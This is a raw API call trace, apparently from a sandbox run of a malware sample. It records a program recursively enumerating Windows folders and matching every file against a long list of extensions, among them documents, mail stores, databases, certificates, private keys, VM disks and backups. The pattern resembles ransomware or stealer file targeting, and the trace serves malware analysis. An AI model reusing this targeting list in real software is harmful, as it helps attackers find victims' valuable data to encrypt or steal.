(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.ofx") returned 0 [0112.495] lstrlenA (lpString="*.ofx") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qif") returned 0 [0112.495] lstrlenA (lpString="*.qif") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.mye") returned 0 [0112.495] lstrlenA (lpString="*.mye") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.mbox") returned 0 [0112.495] lstrlenA (lpString="*.mbox") returned 6 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.eml") returned 0 [0112.495] lstrlenA (lpString="*.eml") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.pst") returned 0 [0112.495] lstrlenA (lpString="*.pst") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.ost") returned 0 [0112.495] lstrlenA (lpString="*.ost") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.idx") returned 0 [0112.495] lstrlenA (lpString="*.idx") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.dbx") returned 0 [0112.495] lstrlenA (lpString="*.dbx") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.sql") returned 0 [0112.495] lstrlenA (lpString="*.sql") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.mdb") returned 0 [0112.496] lstrlenA (lpString="*.mdb") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.fdb") returned 0 [0112.496] lstrlenA (lpString="*.fdb") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.wab") returned 0 [0112.496] lstrlenA (lpString="*.wab") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.dat") returned 0 [0112.496] lstrlenA (lpString="*.dat") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.txt") returned 0 [0112.496] lstrlenA (lpString="*.txt") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0112.496] lstrlenA (lpString="*.jpeg") returned 6 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.jpg") returned 0 [0112.496] lstrlenA (lpString="*.jpg") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.png") returned 0 [0112.496] lstrlenA (lpString="*.png") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.php") returned 0 [0112.496] lstrlenA (lpString="*.php") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.cs") returned 0 [0112.496] lstrlenA (lpString="*.cs") returned 4 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.cpp") returned 0 [0112.496] lstrlenA (lpString="*.cpp") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.rar") returned 0 [0112.496] lstrlenA (lpString="*.rar") returned 5 [0112.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.zip") returned 0 [0112.496] lstrlenA (lpString="*.zip") returned 5 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.html") returned 0 [0112.497] lstrlenA (lpString="*.html") returned 6 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.htm") returned 0 [0112.497] lstrlenA (lpString="*.htm") returned 5 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0112.497] lstrlenA (lpString="*.xlsx") returned 6 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.xls") returned 0 [0112.497] lstrlenA (lpString="*.xls") returned 5 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.mp4") returned 0 [0112.497] lstrlenA (lpString="*.mp4") returned 5 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.ppt") returned 0 [0112.497] lstrlenA (lpString="*.ppt") returned 5 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.pptx") returned 0 [0112.497] lstrlenA (lpString="*.pptx") returned 6 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.doc") returned 0 [0112.497] lstrlenA (lpString="*.doc") returned 5 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.dot") returned 0 [0112.497] lstrlenA (lpString="*.dot") returned 5 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.docx") returned 0 [0112.497] lstrlenA (lpString="*.docx") returned 6 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.7z") returned 0 [0112.497] lstrlenA (lpString="*.7z") returned 4 [0112.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.tar") returned 0 [0112.497] lstrlenA (lpString="*.tar") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.bz2") returned 0 [0112.498] lstrlenA (lpString="*.bz2") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.gz") returned 0 [0112.498] lstrlenA (lpString="*.gz") returned 4 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.mkv") returned 0 [0112.498] lstrlenA (lpString="*.mkv") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.eml") returned 0 [0112.498] lstrlenA (lpString="*.eml") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.msg") returned 0 [0112.498] lstrlenA (lpString="*.msg") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.edb") returned 0 [0112.498] lstrlenA (lpString="*.edb") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.accdb") returned 0 [0112.498] lstrlenA (lpString="*.accdb") returned 7 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.odb") returned 0 [0112.498] lstrlenA (lpString="*.odb") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.java") returned 0 [0112.498] lstrlenA (lpString="*.java") returned 6 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.asm") returned 0 [0112.498] lstrlenA (lpString="*.asm") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.pfx") returned 0 [0112.498] lstrlenA (lpString="*.pfx") returned 5 [0112.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.pem") returned 0 [0112.498] lstrlenA (lpString="*.pem") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.p12") returned 0 [0112.499] lstrlenA (lpString="*.p12") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.gpg") returned 0 [0112.499] lstrlenA (lpString="*.gpg") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.vsd") returned 0 [0112.499] lstrlenA (lpString="*.vsd") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.odg") returned 0 [0112.499] lstrlenA (lpString="*.odg") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.raw") returned 0 [0112.499] lstrlenA (lpString="*.raw") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.nef") returned 0 [0112.499] lstrlenA (lpString="*.nef") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.svg") returned 0 [0112.499] lstrlenA (lpString="*.svg") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.psd") returned 0 [0112.499] lstrlenA (lpString="*.psd") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.vmx") returned 0 [0112.499] lstrlenA (lpString="*.vmx") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0112.499] lstrlenA (lpString="*.vmdk") returned 6 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.vdi") returned 0 [0112.499] lstrlenA (lpString="*.vdi") returned 5 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.lay6") returned 0 [0112.499] lstrlenA (lpString="*.lay6") returned 6 [0112.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0112.500] lstrlenA (lpString="*.mpeg") returned 6 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.djvu") returned 0 [0112.500] lstrlenA (lpString="*.djvu") returned 6 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.tiff") returned 0 [0112.500] lstrlenA (lpString="*.tiff") returned 6 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.backup") returned 0 [0112.500] lstrlenA (lpString="*.backup") returned 8 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.pdf") returned 0 [0112.500] lstrlenA (lpString="*.pdf") returned 5 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.cert") returned 0 [0112.500] lstrlenA (lpString="*.cert") returned 6 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.docm") returned 0 [0112.500] lstrlenA (lpString="*.docm") returned 6 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0112.500] lstrlenA (lpString="*.xlsm") returned 6 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.dwg") returned 0 [0112.500] lstrlenA (lpString="*.dwg") returned 5 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.nd") returned 0 [0112.500] lstrlenA (lpString="*.nd") returned 4 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.tlg") returned 0 [0112.500] lstrlenA (lpString="*.tlg") returned 5 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.lgb") returned 0 [0112.500] lstrlenA (lpString="*.lgb") returned 5 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.mov") returned 0 [0112.500] lstrlenA (lpString="*.mov") returned 5 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.xdw") returned 0 [0112.500] lstrlenA (lpString="*.xdw") returned 5 [0112.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.ods") returned 0 [0112.500] lstrlenA (lpString="*.ods") returned 5 [0112.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.wav") returned 0 [0112.501] lstrlenA (lpString="*.wav") returned 5 [0112.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.mp3") returned 0 [0112.501] lstrlenA (lpString="*.mp3") returned 5 [0112.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.aiff") returned 0 [0112.501] lstrlenA (lpString="*.aiff") returned 6 [0112.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.flac") returned 0 [0112.501] lstrlenA (lpString="*.flac") returned 6 [0112.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.m4a") returned 0 [0112.501] lstrlenA (lpString="*.m4a") returned 5 [0112.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.csv") returned 0 [0112.501] lstrlenA (lpString="*.csv") returned 5 [0112.501] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.501] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x168d6c40, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x168d6c40, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x168d6c40, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8f1dcb9771b151969c5afdae76376d5c", cAlternateFileName="8F1DCB~1")) returned 0 [0112.501] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.501] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6f72a3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6f72a3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Linq", cAlternateFileName="SYSTEM~1.LIN")) returned 1 [0112.501] lstrcmpA (lpString1=".", lpString2="System.Data.Linq") returned -1 [0112.501] lstrcmpA (lpString1="..", lpString2="System.Data.Linq") returned -1 [0112.502] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.502] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data.Linq" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq" [0112.502] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq") returned 63 [0112.502] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6f72a3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6f72a3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.502] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.502] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6f72a3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6f72a3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.502] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.502] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.502] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6f72a3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6f72a3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b357f35e860204c5b74e1388f97db058", cAlternateFileName="B357F3~1")) returned 1 [0112.502] lstrcmpA (lpString1=".", lpString2="b357f35e860204c5b74e1388f97db058") returned -1 [0112.502] lstrcmpA (lpString1="..", lpString2="b357f35e860204c5b74e1388f97db058") returned -1 [0112.502] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\*.*") returned="*.*" [0112.502] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\", lpString2="b357f35e860204c5b74e1388f97db058" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058" [0112.502] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058") returned 96 [0112.502] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6f72a3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6f72a3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.503] lstrcmpA (lpString1=".", 